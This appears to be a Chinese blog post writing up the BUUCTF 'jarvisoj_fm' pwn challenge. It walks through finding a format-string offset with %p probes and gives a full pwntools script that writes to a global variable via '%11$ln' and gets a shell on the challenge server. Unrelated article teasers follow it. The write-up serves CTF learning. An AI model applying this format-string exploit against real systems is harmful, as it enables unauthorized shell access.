news 2026/6/23 6:35:02

buuctf中的jarvisoj_fm

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buuctf中的jarvisoj_fm

首先checksec检查保护机制:

-32位程序

-开启了栈溢出保护和栈不可执行保护

接下来使用反汇编工具IDA进行分析:

发现没有后门函数,不过有printf函数,可触发格式化字符串漏洞,再看下面,只要让x的值等于4,即可拿到shell,那么方向就很明显了,使用格式化字符串漏洞实现任意地址写,将x的值改写为4

接下来先找到第一个参数的偏移,方便利用格式化字符串漏洞,在pwndbg中动态调试,先对程序输入一下代码:

AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p

得到:

发现0x41414141这个参数在第11位,0x41414141以ASCII码转化为字符即为AAAA,也就是我们输入的AAAA在第11位处,即偏移为11

再在IDA中拿到x的地址:0x0804A02C

然后就是脚本的编写了:

from pwn import * context(arch='i386', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',25207) # 与在线环境交互。 offset = 11 aim_addr = 0x0804A02C payload = p32(aim_addr) + b'%11$ln' io.sendline(payload) io.interactive()

这是运行结果:

拿到shell后输入cat flag即可拿到flag

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/23 21:31:27

如何快速获取中国行政区划数据:从新手到专家的完整指南

中国行政区划数据是地理信息系统(GIS)应用中的基础数据,对于学术研究、商业分析和政府规划都具有重要价值。ChinaAdminDivisonSHP项目提供了完整的四级行政区划矢量数据,采用ESRI Shapefile格式,包含国家、省、市、区/…

作者头像 李华
网站建设 2026/6/23 19:55:44

鸣潮自动化神器:3分钟教会你解放双手的智能游戏助手

鸣潮自动化神器:3分钟教会你解放双手的智能游戏助手 【免费下载链接】ok-wuthering-waves 鸣潮 后台自动战斗 自动刷声骸上锁合成 自动肉鸽 Automation for Wuthering Waves 项目地址: https://gitcode.com/GitHub_Trending/ok/ok-wuthering-waves 还在为重复…

作者头像 李华
网站建设 2026/6/23 10:52:04

RMT驱动在ESP-IDF中的高级应用技巧

玩转ESP32的“脉冲引擎”:RMT驱动的实战进阶指南你有没有遇到过这种情况?想用ESP32控制一串WS2812灯带,结果发现颜色乱跳、动画卡顿;或者调试红外遥控时,信号发出去了却总被电视“无视”。问题可能不在于代码逻辑&…

作者头像 李华
网站建设 2026/6/23 19:53:37

胎牛血清常见问题解答

根据牛出生时间和血清采制分离方法,血清一般分为胎牛血清、新生牛血清和小牛血清。胎牛血清(Fetal Bovine Serum, FBS)一般为八月龄胎牛心脏穿刺取血再经热灭活、透析、过滤除菌后制成,是一种外观浅黄色、无溶血、无异物略粘稠液体…

作者头像 李华
网站建设 2026/6/23 19:43:57

WorkshopDL:解锁Steam创意工坊的跨平台下载神器

WorkshopDL:解锁Steam创意工坊的跨平台下载神器 【免费下载链接】WorkshopDL WorkshopDL - The Best Steam Workshop Downloader 项目地址: https://gitcode.com/gh_mirrors/wo/WorkshopDL 还在为Epic平台无法访问Steam创意工坊而烦恼?WorkshopDL…

作者头像 李华
网站建设 2026/6/23 19:52:50

【毕业设计】基于springboot的老人健康信息管理系统的设计与实现老人信息、护理服务、健康监测、员工管理、家属沟通(源码+文档+远程调试,全bao定制等)

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

作者头像 李华